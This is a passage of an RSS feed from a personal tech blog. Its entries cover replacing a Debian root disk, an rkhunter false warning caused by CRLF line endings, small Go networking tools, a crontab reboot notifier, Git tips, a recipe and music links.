  5788.    <description><![CDATA[<p><a href="https://tailscale.com/blog/how-nat-traversal-works/" title="How NAT traversal works - Tailscale Blog">How NAT traversal works</a> &ndash; is a very well written and detailed article from <a href="https://www.dave.tf/" title="Dave.tf">Dave Anderson</a> explaining the different NAT scenarios and the tricks that can be used to establish a peer-to-peer UDP connection between machines sitting behind them.</p>
  5789. ]]></description>
  5790.    <content:encoded><![CDATA[<p><a href="https://tailscale.com/blog/how-nat-traversal-works/" title="How NAT traversal works - Tailscale Blog">How NAT traversal works</a> &ndash; is a very well written and detailed article from <a href="https://www.dave.tf/" title="Dave.tf">Dave Anderson</a> explaining the different NAT scenarios and the tricks that can be used to establish a peer-to-peer UDP connection between machines sitting behind them.</p>
  5791. ]]></content:encoded>
  5792.  </item>
  5793.  
  5794.  <item>
  5795.    <title>Replace the root disk</title>
  5796.    <link>https://blog.x-way.org/Linux/2020/06/07/Replace-the-root-disk.html</link>
  5797.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324278</guid>
  5798.    <dc:creator>Andreas Jaggi</dc:creator>
  5799.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5800.    <pubDate>Sun, 07 Jun 2020 10:58:00 +0200</pubDate>
  5801.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  5802.    <description><![CDATA[<p>Recently the disk holding the root (<kbd>/</kbd>) filesystem on one of my linux systems started to report increased <a href="https://en.wikipedia.org/wiki/S.M.A.R.T." title="S.M.A.R.T - Wikipedia">SMART</a> raw read error rates, seek error rates and ECC recovered hardware errors.</p>
  5803. <p>As these are early indications of a failing disk, it became time to replace the disk.</p>
  5804. <p>Normally replacing a disk comes down to plugging in the new one, coyping over the data, umount the old disk, mount the new one in place, unplug the old disk.<br>But when it is the disk with the root filesystem a couple extra steps are needed.</p>
  5805. <p>The steps below worked for my Debian system without problems (even used the opportunity to upgrade to an SSD :-)</p>
  5806. <p>(source is <a href="https://unix.stackexchange.com/questions/338387/how-do-i-replace-root-drive-on-debian" title="How do I replace Root Drive on Debian?">this thread</a> on StackExchange)</p>
  5807.  
  5808. <blockquote>
  5809. <p>The following makes some assumptions:</p>
  5810. <ul>
  5811. <li>All commands ran as root when possible</li>
  5812. <li>You are on a physical console to the host (need to type in grub commands to boot up the new disk!)</li>
  5813. <li>You want an ext4 files system</li>
  5814. <li>You are loosely familiar on a basic level with all commands run</li>
  5815. <li>You are NOT booting from a RAID device</li>
  5816. </ul>
  5817. <p>So here we go.</p>
  5818. <ol>
  5819. <li>Physically install new disk into computer and connect to available port leaving old disk in existing position.</li>
  5820. <li>Boot computer into old OS.</li>
  5821. <li>Prepare and mount new disk; first identify new disk<br>
  5822. <kbd>fdisk -l</kbd>
  5823. </li>
  5824. <li>Partition new disk<br>
  5825. <kbd>fdisk /dev/(newdisk)</kbd><br>
  5826. Make partition primary partition with type "83" file system type.
  5827. </li>
  5828. <li>Create filesystem<br>
  5829. <kbd>mkfs.ext4 /dev/(newpartition)</kbd>
  5830. </li>
  5831. <li>Mount new filesystem<br>
  5832. <kbd>mkdir /mnt/(newpartitionmountpoint)</kbd><br>
  5833. <kbd>mount /dev/(newpartition) /mnt/(newpartitionmountpoint)</kbd>
  5834. </li>
  5835. <li>Copy disk:<br>
  5836. <kbd>/sbin/init 1</kbd> (drop to single user mode)<br>
  5837. <kbd>rsync -avxHAX / /mnt/(newpartitionmountpoint)</kbd>
  5838. </li>
  5839. <li>Update FSTAB on newdisk<br>
  5840. <kbd>blkid</kbd> (note UUID of new partition)<br>
  5841. <kbd>vi /mnt/(newpartitionmountpoint)/etc/fstab</kbd><br>
  5842. Replace existing UUID of / in FSTAB to new disk UUID
  5843. </li>
  5844. <li>Configure grub and install to new disk boot loader:<br>
  5845. <kbd>grub-mkconfig</kbd><br>
  5846. <kbd>update-grub</kbd><br>
  5847. <kbd>grub-install /dev/(newdisk)</kbd>
  5848. </li>
  5849. <li>Copy grub.cfg from old disk to new<br>
  5850. <kbd>cp -ax /boot/grub/grub.cfg /mnt/(newpartitionmountpoint)/boot/grub/grub.cfg</kbd>
  5851. </li>
  5852. <li>Open grub.cfg on new disk and replace all UUIDs with new disk<br>
  5853. <kbd>vi /mnt/(newpartitionmountpoint)/boot/grub/grub.cfg</kbd><br>
  5854. Replace all old UUIDs with the UUID of the new disk
  5855. </li>
  5856. <li>Shut down computer<br>
  5857. <kbd>shutdown</kbd>
  5858. </li>
  5859. <li>Physically move the new drive to the 1st drive location and remove old drive</li>
  5860. <li>Start computer and grub should present:<br>
  5861. <pre>error: no such device: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
  5862.  
  5863. GRUB rescue&gt;</pre>
  5864. </li>
  5865. <li>Manually boot new OS from grub; first identify the drive and partition of the boot files<br>
  5866. <kbd>ls</kbd> [to identify your drive and partition options]<br>
  5867. <kbd>ls (hdx,p)/</kbd> [to identify which partition has the /boot folder]
  5868. </li>
  5869. <li>Then, you can load the boot menu manually from the drive and partition you found above. Typically this would be (hd0,msdos1).<br>
  5870. <kbd>set prefix="(hdx,p)/boot/grub"</kbd><br>
  5871. <kbd>set root="(hdx,p)"</kbd><br>
  5872. <kbd>insmod normal</kbd><br>
  5873. <kbd>normal</kbd>
  5874. </li>
  5875. <li>Login to OS on new drive</li>
  5876. <li>Configure grub again<br>
  5877. <kbd>fdisk -l</kbd> (note dev of newdisk)<br>
  5878. <kbd>grub-mkconfig</kbd><br>
  5879. <kbd>update-grub</kbd><br>
  5880. <kbd>grub-install /dev/newdisk</kbd>
  5881. </li>
  5882. </ol>
  5883. <p>And that should be it!</p>
  5884. </blockquote>
  5885. ]]></description>
  5886.    <content:encoded><![CDATA[<p>Recently the disk holding the root (<kbd>/</kbd>) filesystem on one of my linux systems started to report increased <a href="https://en.wikipedia.org/wiki/S.M.A.R.T." title="S.M.A.R.T - Wikipedia">SMART</a> raw read error rates, seek error rates and ECC recovered hardware errors.</p>
  5887. <p>As these are early indications of a failing disk, it became time to replace the disk.</p>
  5888. <p>Normally replacing a disk comes down to plugging in the new one, coyping over the data, umount the old disk, mount the new one in place, unplug the old disk.<br>But when it is the disk with the root filesystem a couple extra steps are needed.</p>
  5889. <p>The steps below worked for my Debian system without problems (even used the opportunity to upgrade to an SSD :-)</p>
  5890. <p>(source is <a href="https://unix.stackexchange.com/questions/338387/how-do-i-replace-root-drive-on-debian" title="How do I replace Root Drive on Debian?">this thread</a> on StackExchange)</p>
  5891.  
  5892. <blockquote>
  5893. <p>The following makes some assumptions:</p>
  5894. <ul>
  5895. <li>All commands ran as root when possible</li>
  5896. <li>You are on a physical console to the host (need to type in grub commands to boot up the new disk!)</li>
  5897. <li>You want an ext4 files system</li>
  5898. <li>You are loosely familiar on a basic level with all commands run</li>
  5899. <li>You are NOT booting from a RAID device</li>
  5900. </ul>
  5901. <p>So here we go.</p>
  5902. <ol>
  5903. <li>Physically install new disk into computer and connect to available port leaving old disk in existing position.</li>
  5904. <li>Boot computer into old OS.</li>
  5905. <li>Prepare and mount new disk; first identify new disk<br>
  5906. <kbd>fdisk -l</kbd>
  5907. </li>
  5908. <li>Partition new disk<br>
  5909. <kbd>fdisk /dev/(newdisk)</kbd><br>
  5910. Make partition primary partition with type "83" file system type.
  5911. </li>
  5912. <li>Create filesystem<br>
  5913. <kbd>mkfs.ext4 /dev/(newpartition)</kbd>
  5914. </li>
  5915. <li>Mount new filesystem<br>
  5916. <kbd>mkdir /mnt/(newpartitionmountpoint)</kbd><br>
  5917. <kbd>mount /dev/(newpartition) /mnt/(newpartitionmountpoint)</kbd>
  5918. </li>
  5919. <li>Copy disk:<br>
  5920. <kbd>/sbin/init 1</kbd> (drop to single user mode)<br>
  5921. <kbd>rsync -avxHAX / /mnt/(newpartitionmountpoint)</kbd>
  5922. </li>
  5923. <li>Update FSTAB on newdisk<br>
  5924. <kbd>blkid</kbd> (note UUID of new partition)<br>
  5925. <kbd>vi /mnt/(newpartitionmountpoint)/etc/fstab</kbd><br>
  5926. Replace existing UUID of / in FSTAB to new disk UUID
  5927. </li>
  5928. <li>Configure grub and install to new disk boot loader:<br>
  5929. <kbd>grub-mkconfig</kbd><br>
  5930. <kbd>update-grub</kbd><br>
  5931. <kbd>grub-install /dev/(newdisk)</kbd>
  5932. </li>
  5933. <li>Copy grub.cfg from old disk to new<br>
  5934. <kbd>cp -ax /boot/grub/grub.cfg /mnt/(newpartitionmountpoint)/boot/grub/grub.cfg</kbd>
  5935. </li>
  5936. <li>Open grub.cfg on new disk and replace all UUIDs with new disk<br>
  5937. <kbd>vi /mnt/(newpartitionmountpoint)/boot/grub/grub.cfg</kbd><br>
  5938. Replace all old UUIDs with the UUID of the new disk
  5939. </li>
  5940. <li>Shut down computer<br>
  5941. <kbd>shutdown</kbd>
  5942. </li>
  5943. <li>Physically move the new drive to the 1st drive location and remove old drive</li>
  5944. <li>Start computer and grub should present:<br>
  5945. <pre>error: no such device: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
  5946.  
  5947. GRUB rescue&gt;</pre>
  5948. </li>
  5949. <li>Manually boot new OS from grub; first identify the drive and partition of the boot files<br>
  5950. <kbd>ls</kbd> [to identify your drive and partition options]<br>
  5951. <kbd>ls (hdx,p)/</kbd> [to identify which partition has the /boot folder]
  5952. </li>
  5953. <li>Then, you can load the boot menu manually from the drive and partition you found above. Typically this would be (hd0,msdos1).<br>
  5954. <kbd>set prefix="(hdx,p)/boot/grub"</kbd><br>
  5955. <kbd>set root="(hdx,p)"</kbd><br>
  5956. <kbd>insmod normal</kbd><br>
  5957. <kbd>normal</kbd>
  5958. </li>
  5959. <li>Login to OS on new drive</li>
  5960. <li>Configure grub again<br>
  5961. <kbd>fdisk -l</kbd> (note dev of newdisk)<br>
  5962. <kbd>grub-mkconfig</kbd><br>
  5963. <kbd>update-grub</kbd><br>
  5964. <kbd>grub-install /dev/newdisk</kbd>
  5965. </li>
  5966. </ol>
  5967. <p>And that should be it!</p>
  5968. </blockquote>
  5969. ]]></content:encoded>
  5970.  </item>
  5971.  
  5972.  <item>
  5973.    <title>rkhunter CRLF confusion</title>
  5974.    <link>https://blog.x-way.org/Linux/2020/05/24/rkhunter-CRLF-confusion.html</link>
  5975.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324277</guid>
  5976.    <dc:creator>Andreas Jaggi</dc:creator>
  5977.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5978.    <pubDate>Sun, 24 May 2020 11:22:00 +0200</pubDate>
  5979.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  5980.    <description><![CDATA[<p>On my Linux hosts I'm running <a href="http://rkhunter.sourceforge.net/" title="The Rootkit Hunter project">rkhunter</a>. On a newly configured host it lately reported the following warning:</p>
  5981. <pre>Warning: The SSH and rkhunter configuration options should be the same:
  5982.        SSH configuration option 'PermitRootLogin': no
  5983. Rkhunter configuration option 'ALLOW_SSH_ROOT_USER': no</pre>
  5984. <p>On first sight the warning does not seem to make much sense, as both configuration options seem to be set to the same value (<code>no</code>).<br>
  5985. But digging further reveals that they are stored slightly different:</p>
  5986. <pre># file /etc/rkhunter.conf
  5987. /etc/rkhunter.conf: ASCII text
  5988. # file /etc/ssh/sshd_config
  5989. /etc/ssh/sshd_config: ASCII text, with CRLF line terminators</pre>
  5990. <p>Turns out that rkhunter is also checking the line terminators as part of the configuration values, and warns because they are different.</p>
  5991. <p>Knowing this, the fix is simple: run <a href="http://dos2unix.sourceforge.net/" title="dos2unix">dos2unix</a> on the CRLF file</p>
  5992. ]]></description>
  5993.    <content:encoded><![CDATA[<p>On my Linux hosts I'm running <a href="http://rkhunter.sourceforge.net/" title="The Rootkit Hunter project">rkhunter</a>. On a newly configured host it lately reported the following warning:</p>
  5994. <pre>Warning: The SSH and rkhunter configuration options should be the same:
  5995.        SSH configuration option 'PermitRootLogin': no
  5996. Rkhunter configuration option 'ALLOW_SSH_ROOT_USER': no</pre>
  5997. <p>On first sight the warning does not seem to make much sense, as both configuration options seem to be set to the same value (<code>no</code>).<br>
  5998. But digging further reveals that they are stored slightly different:</p>
  5999. <pre># file /etc/rkhunter.conf
  6000. /etc/rkhunter.conf: ASCII text
  6001. # file /etc/ssh/sshd_config
  6002. /etc/ssh/sshd_config: ASCII text, with CRLF line terminators</pre>
  6003. <p>Turns out that rkhunter is also checking the line terminators as part of the configuration values, and warns because they are different.</p>
  6004. <p>Knowing this, the fix is simple: run <a href="http://dos2unix.sourceforge.net/" title="dos2unix">dos2unix</a> on the CRLF file</p>
  6005. ]]></content:encoded>
  6006.  </item>
  6007.  
  6008.  <item>
  6009.    <title>ipaddr CLI tool</title>
  6010.    <link>https://blog.x-way.org/Networking/2020/05/21/ipaddr-CLI-tool.html</link>
  6011.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324276</guid>
  6012.    <dc:creator>Andreas Jaggi</dc:creator>
  6013.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6014.    <pubDate>Thu, 21 May 2020 19:38:00 +0200</pubDate>
  6015.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6016.    <description><![CDATA[<p>While doing some maintenance on my server, I got tired of searching through the output of <code>ip addr show</code> to find the IP addresses configured on the interfaces.<br>
  6017. Thus I wrote a simple CLI tool to display the information I needed in a concise and human friendly form: <a href="https://github.com/x-way/ipaddr" title="ipaddr - human friendly list of IP addresses and network interfaces">ipaddr</a></p>
  6018. <pre>$ ipaddr
  6019. lo          127.0.0.1/8
  6020. ens5        198.51.100.160/24
  6021. tun24008    10.123.199.78/32
  6022. tun71991639 10.200.123.5/32
  6023. tun26724    10.100.100.235/32
  6024. tun3883710  10.123.111.7/32</pre>
  6025. <p>A nice side-effect of writing this in <a href="https://golang.org/" title="The Go Programming Language">Go</a> is that it works out-of-the-box also on non-Linux systems :-)</p>
  6026. ]]></description>
  6027.    <content:encoded><![CDATA[<p>While doing some maintenance on my server, I got tired of searching through the output of <code>ip addr show</code> to find the IP addresses configured on the interfaces.<br>
  6028. Thus I wrote a simple CLI tool to display the information I needed in a concise and human friendly form: <a href="https://github.com/x-way/ipaddr" title="ipaddr - human friendly list of IP addresses and network interfaces">ipaddr</a></p>
  6029. <pre>$ ipaddr
  6030. lo          127.0.0.1/8
  6031. ens5        198.51.100.160/24
  6032. tun24008    10.123.199.78/32
  6033. tun71991639 10.200.123.5/32
  6034. tun26724    10.100.100.235/32
  6035. tun3883710  10.123.111.7/32</pre>
  6036. <p>A nice side-effect of writing this in <a href="https://golang.org/" title="The Go Programming Language">Go</a> is that it works out-of-the-box also on non-Linux systems :-)</p>
  6037. ]]></content:encoded>
  6038.  </item>
  6039.  
  6040.  <item>
  6041.    <title>Poor man's reboot notification</title>
  6042.    <link>https://blog.x-way.org/Linux/2020/04/18/Poor-mans-reboot-notification.html</link>
  6043.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324275</guid>
  6044.    <dc:creator>Andreas Jaggi</dc:creator>
  6045.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6046.    <pubDate>Sat, 18 Apr 2020 15:03:00 +0200</pubDate>
  6047.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6048.    <description><![CDATA[<p>Sometimes you need to be notified about reboots of a machine without having the luxury of a proper monitoring system.</p>
  6049. <p>The following crontab entry triggers an e-mail when the host has been rebooted in the last 5 minutes.</p>
  6050. <pre>*/5 * * * * [ $(sed -e 's/\..*//' /proc/uptime) -lt 540 ] &amp;&amp; echo "Host has been rebooted! Uptime: $(uptime)"</pre>
  6051. ]]></description>
  6052.    <content:encoded><![CDATA[<p>Sometimes you need to be notified about reboots of a machine without having the luxury of a proper monitoring system.</p>
  6053. <p>The following crontab entry triggers an e-mail when the host has been rebooted in the last 5 minutes.</p>
  6054. <pre>*/5 * * * * [ $(sed -e 's/\..*//' /proc/uptime) -lt 540 ] &amp;&amp; echo "Host has been rebooted! Uptime: $(uptime)"</pre>
  6055. ]]></content:encoded>
  6056.  </item>
  6057.  
  6058.  <item>
  6059.    <title>Cottage cheese Avocado Crostini</title>
  6060.    <link>https://blog.x-way.org/Food/2020/04/12/Cottage-cheese-Avocado-Crostini.html</link>
  6061.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324274</guid>
  6062.    <dc:creator>Andreas Jaggi</dc:creator>
  6063.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6064.    <pubDate>Sun, 12 Apr 2020 19:16:00 +0200</pubDate>
  6065.    <category domain="https://blog.x-way.org/Food/">Food</category>
  6066.    <description><![CDATA[<p>Inspired by <a href="https://fooby.ch/de/rezepte/17073/avocado-ricotta-crostini" title="Avocado-Ricotta-Crostini - Rezepte | fooby.ch">this recipe</a>, I made some yummy Crostini using Cottage cheese (instead of Ricotta cheese) and Avocado with some drops of Aceto balsamico.</p>
  6067. <p><img src="https://blog.x-way.org/images/cottage_cheese_avocado_crostini.jpeg" alt="Cottage cheese Avocado Crostini" width="439" height="329"></p>
  6068. ]]></description>
  6069.    <content:encoded><![CDATA[<p>Inspired by <a href="https://fooby.ch/de/rezepte/17073/avocado-ricotta-crostini" title="Avocado-Ricotta-Crostini - Rezepte | fooby.ch">this recipe</a>, I made some yummy Crostini using Cottage cheese (instead of Ricotta cheese) and Avocado with some drops of Aceto balsamico.</p>
  6070. <p><img src="https://blog.x-way.org/images/cottage_cheese_avocado_crostini.jpeg" alt="Cottage cheese Avocado Crostini" width="439" height="329"></p>
  6071. ]]></content:encoded>
  6072.  </item>
  6073.  
  6074.  <item>
  6075.    <title>Ein Lied für Jetzt</title>
  6076.    <link>https://blog.x-way.org/Music/2020/03/28/Ein-Lied-fur-Jetzt.html</link>
  6077.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324273</guid>
  6078.    <dc:creator>Andreas Jaggi</dc:creator>
  6079.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6080.    <pubDate>Sat, 28 Mar 2020 08:53:00 +0100</pubDate>
  6081.    <category domain="https://blog.x-way.org/Music/">Music</category>
  6082.    <description><![CDATA[<p><a href="https://youtu.be/t_s6waEUTbI" title="die ärzte - Ein Lied für Jetzt - YouTube">die ärzte - Ein Lied für Jetzt</a></p>
  6083. ]]></description>
  6084.    <content:encoded><![CDATA[<p><a href="https://youtu.be/t_s6waEUTbI" title="die ärzte - Ein Lied für Jetzt - YouTube">die ärzte - Ein Lied für Jetzt</a></p>
  6085. ]]></content:encoded>
  6086.  </item>
  6087.  
  6088.  <item>
  6089.    <title>ip_compact and ip_diff</title>
  6090.    <link>https://blog.x-way.org/Networking/2020/03/21/ip_compact-and-ip_diff.html</link>
  6091.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324272</guid>
  6092.    <dc:creator>Andreas Jaggi</dc:creator>
  6093.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6094.    <pubDate>Sat, 21 Mar 2020 15:18:00 +0100</pubDate>
  6095.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6096.    <description><![CDATA[<p>Somehow I always end up working with lists of IP networks and needing to minimize and compare them.</p>
  6097. <p>Some of my Perl scripts for this might still be hidden in a corporate source repository, and somewhere in the backups of my old Linux laptop should be even earlier attempts in Bash.</p>
  6098. <p>Both of them are not very useful to me where they are, thus I've written yet another version.<br>This time in Go using the <a href="https://github.com/mikioh/ipaddr" title="package ipaddr">ipaddr</a> package.</p>
  6099. <p>Say hello to <a href="https://github.com/x-way/ip_compact" title="ip_compact - Compact a list of IP prefixes">ip_compact</a> and <a href="https://github.com/x-way/ip_diff" title="ip_diff - Compare two lists of IP prefixes">ip_diff</a> :-)</p>
  6100. ]]></description>
  6101.    <content:encoded><![CDATA[<p>Somehow I always end up working with lists of IP networks and needing to minimize and compare them.</p>
  6102. <p>Some of my Perl scripts for this might still be hidden in a corporate source repository, and somewhere in the backups of my old Linux laptop should be even earlier attempts in Bash.</p>
  6103. <p>Both of them are not very useful to me where they are, thus I've written yet another version.<br>This time in Go using the <a href="https://github.com/mikioh/ipaddr" title="package ipaddr">ipaddr</a> package.</p>
  6104. <p>Say hello to <a href="https://github.com/x-way/ip_compact" title="ip_compact - Compact a list of IP prefixes">ip_compact</a> and <a href="https://github.com/x-way/ip_diff" title="ip_diff - Compare two lists of IP prefixes">ip_diff</a> :-)</p>
  6105. ]]></content:encoded>
  6106.  </item>
  6107.  
  6108.  <item>
  6109.    <title>#StayTheFuckHome</title>
  6110.    <link>https://blog.x-way.org/Music/2020/03/17/StayTheFuckHome.html</link>
  6111.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324271</guid>
  6112.    <dc:creator>Andreas Jaggi</dc:creator>
  6113.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6114.    <pubDate>Tue, 17 Mar 2020 19:33:00 +0100</pubDate>
  6115.    <category domain="https://blog.x-way.org/Music/">Music</category>
  6116.    <description><![CDATA[<p><a href="https://youtu.be/CP70fI3BUs8" title="Bitch Queens - #StayTheFuckHome - YouTube">Bitch Queens - #StayTheFuckHome</a></p>
  6117. <p><a href="https://staythefuckhome.com/" title="Stay The Fuck Home!">Stay The Fuck Home!</a></p>
  6118. ]]></description>
  6119.    <content:encoded><![CDATA[<p><a href="https://youtu.be/CP70fI3BUs8" title="Bitch Queens - #StayTheFuckHome - YouTube">Bitch Queens - #StayTheFuckHome</a></p>
  6120. <p><a href="https://staythefuckhome.com/" title="Stay The Fuck Home!">Stay The Fuck Home!</a></p>
  6121. ]]></content:encoded>
  6122.  </item>
  6123.  
  6124.  <item>
  6125.    <title>This Page is Designed to Last</title>
  6126.    <link>https://blog.x-way.org/Misc/2019/12/20/This-Page-is-Designed-to-Last.html</link>
  6127.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324270</guid>
  6128.    <dc:creator>Andreas Jaggi</dc:creator>
  6129.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6130.    <pubDate>Fri, 20 Dec 2019 09:56:00 +0100</pubDate>
  6131.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6132.    <description><![CDATA[<p><a href="https://jeffhuang.com/designed_to_last/" title="This Page is Designed to Last: A Manifesto for Preserving Content on the Web">This Page is Designed to Last</a> &mdash; a manifesto from Jeff Huang for preserving content on the web, where he advocates to keep content on the web available and pledges to keep his site available for the next 10 years.</p>
  6133. <p>Having my content in this weblog online since 2002, I can very much relate to this initiative and additionally would like to point to the efforts of <a href="https://archive.org/">archive.org</a> (aka. The Internet Archive).<br>The wayback machine of archive.org allows to see old versions of websites, even when the website itself is no longer available.</p>
  6134. <p>For me personally this became critically useful when the database of my weblog vanished with no current backup and I then used the archived versions from archive.org to <a href="https://blog.x-way.org/Misc/2011/11/26/Online-Again.html" title="Online Again">restore the missing content</a>.</p>
  6135. <p>Thus I would like to encourage everyone to support the efforts of archive.org with a <a href="https://archive.org/donate/" title="Donate to the Internet Archive!">donation</a>.</p>
  6136. ]]></description>
  6137.    <content:encoded><![CDATA[<p><a href="https://jeffhuang.com/designed_to_last/" title="This Page is Designed to Last: A Manifesto for Preserving Content on the Web">This Page is Designed to Last</a> &mdash; a manifesto from Jeff Huang for preserving content on the web, where he advocates to keep content on the web available and pledges to keep his site available for the next 10 years.</p>
  6138. <p>Having my content in this weblog online since 2002, I can very much relate to this initiative and additionally would like to point to the efforts of <a href="https://archive.org/">archive.org</a> (aka. The Internet Archive).<br>The wayback machine of archive.org allows to see old versions of websites, even when the website itself is no longer available.</p>
  6139. <p>For me personally this became critically useful when the database of my weblog vanished with no current backup and I then used the archived versions from archive.org to <a href="https://blog.x-way.org/Misc/2011/11/26/Online-Again.html" title="Online Again">restore the missing content</a>.</p>
  6140. <p>Thus I would like to encourage everyone to support the efforts of archive.org with a <a href="https://archive.org/donate/" title="Donate to the Internet Archive!">donation</a>.</p>
  6141. ]]></content:encoded>
  6142.  </item>
  6143.  
  6144.  <item>
  6145.    <title>The Comet Is Coming</title>
  6146.    <link>https://blog.x-way.org/Music/2019/11/02/The-Comet-Is-Coming.html</link>
  6147.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324269</guid>
  6148.    <dc:creator>Andreas Jaggi</dc:creator>
  6149.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6150.    <pubDate>Sat, 02 Nov 2019 11:04:00 +0100</pubDate>
  6151.    <category domain="https://blog.x-way.org/Music/">Music</category>
  6152.    <description><![CDATA[<p><a href="https://youtu.be/G55GspnNkBo" title="The Comet Is Coming - Summon The Fire - YouTube">The Comet Is Coming - Summon The Fire</a></p>
  6153. <p><a href="https://www.thecometiscoming.co.uk/" title="The Comet Is Coming">The Comet Is Coming</a> is a 21st century style Jazz band.<br>
  6154. Discovered at the <a href="https://jazznojazz.ch/" title="Zurich Jazznojazz Festival 2019">Jazznojazz</a> festival :-)</p>
  6155. ]]></description>
  6156.    <content:encoded><![CDATA[<p><a href="https://youtu.be/G55GspnNkBo" title="The Comet Is Coming - Summon The Fire - YouTube">The Comet Is Coming - Summon The Fire</a></p>
  6157. <p><a href="https://www.thecometiscoming.co.uk/" title="The Comet Is Coming">The Comet Is Coming</a> is a 21st century style Jazz band.<br>
  6158. Discovered at the <a href="https://jazznojazz.ch/" title="Zurich Jazznojazz Festival 2019">Jazznojazz</a> festival :-)</p>
  6159. ]]></content:encoded>
  6160.  </item>
  6161.  
  6162.  <item>
  6163.    <title>More productive Git</title>
  6164.    <link>https://blog.x-way.org/Coding/2019/05/25/More-productive-Git.html</link>
  6165.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324268</guid>
  6166.    <dc:creator>Andreas Jaggi</dc:creator>
  6167.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6168.    <pubDate>Sat, 25 May 2019 07:47:00 +0200</pubDate>
  6169.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  6170.    <description><![CDATA[<p><a href="https://increment.com/open-source/more-productive-git/" title="More productive Git">More productive Git</a> &mdash; a short article from <a href="https://www.kartar.net/" title="Kartar.Net">James Turnbull</a> with 'Tips for acquiring Git super powers'.</p>
  6171. <p>TL;DR:</p>
  6172. <ul>
  6173. <li><code>git reset &lt;filename&gt;</code></li>
  6174. <li><code>git cherry-pick &lt;commitid&gt;</code></li>
  6175. <li><code>git commit --amend</code></li>
  6176. <li><code>git stash</code></li>
  6177. <li><code>git log --stat</code></li>
  6178. <li><code>git bisect</code></li>
  6179. </ul>
  6180. ]]></description>
  6181.    <content:encoded><![CDATA[<p><a href="https://increment.com/open-source/more-productive-git/" title="More productive Git">More productive Git</a> &mdash; a short article from <a href="https://www.kartar.net/" title="Kartar.Net">James Turnbull</a> with 'Tips for acquiring Git super powers'.</p>
  6182. <p>TL;DR:</p>
  6183. <ul>
  6184. <li><code>git reset &lt;filename&gt;</code></li>
  6185. <li><code>git cherry-pick &lt;commitid&gt;</code></li>
  6186. <li><code>git commit --amend</code></li>
  6187. <li><code>git stash</code></li>
  6188. <li><code>git log --stat</code></li>
  6189. <li><code>git bisect</code></li>
  6190. </ul>
  6191. ]]></content:encoded>
  6192.  </item>
  6193.  
  6194.  <item>
  6195.    <title>Engineering Management</title>
  6196.    <link>https://blog.x-way.org/Coding/2019/01/06/Engineering-Management.html</link>
  6197.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324267</guid>
  6198.    <dc:creator>Andreas Jaggi</dc:creator>
  6199.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6200.    <pubDate>Sun, 06 Jan 2019 13:21:00 +0100</pubDate>
  6201.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  6202.    <description><![CDATA[<p><a href="https://charity.wtf/2019/01/04/engineering-management-the-pendulum-or-the-ladder/" title="Engineering Management: The Pendulum Or The Ladder">Engineering Management: The Pendulum Or The Ladder</a> &mdash; a well written article from <a href="https://charity.wtf/" title="Charity Majors">Charity Majors</a> about the non-trivial entanglement between engineering and management, explaining how doing everything at the same time does lead to unhappy/un-fulfilled people. Also worth reading in this context is the prequel article <a href="https://charity.wtf/2017/05/11/the-engineer-manager-pendulum/" title="The Engineer/Manager Pendulum">The Engineer/Manager Pendulum</a>.</p>
  6203. ]]></description>
  6204.    <content:encoded><![CDATA[<p><a href="https://charity.wtf/2019/01/04/engineering-management-the-pendulum-or-the-ladder/" title="Engineering Management: The Pendulum Or The Ladder">Engineering Management: The Pendulum Or The Ladder</a> &mdash; a well written article from <a href="https://charity.wtf/" title="Charity Majors">Charity Majors</a> about the non-trivial entanglement between engineering and management, explaining how doing everything at the same time does lead to unhappy/un-fulfilled people. Also worth reading in this context is the prequel article <a href="https://charity.wtf/2017/05/11/the-engineer-manager-pendulum/" title="The Engineer/Manager Pendulum">The Engineer/Manager Pendulum</a>.</p>
  6205. ]]></content:encoded>
  6206.  </item>
  6207.  
  6208.  <item>
  6209.    <title>Blogroll cleanup</title>
  6210.    <link>https://blog.x-way.org/Misc/2019/01/06/Blogroll-cleanup.html</link>
  6211.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324266</guid>
  6212.    <dc:creator>Andreas Jaggi</dc:creator>
  6213.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
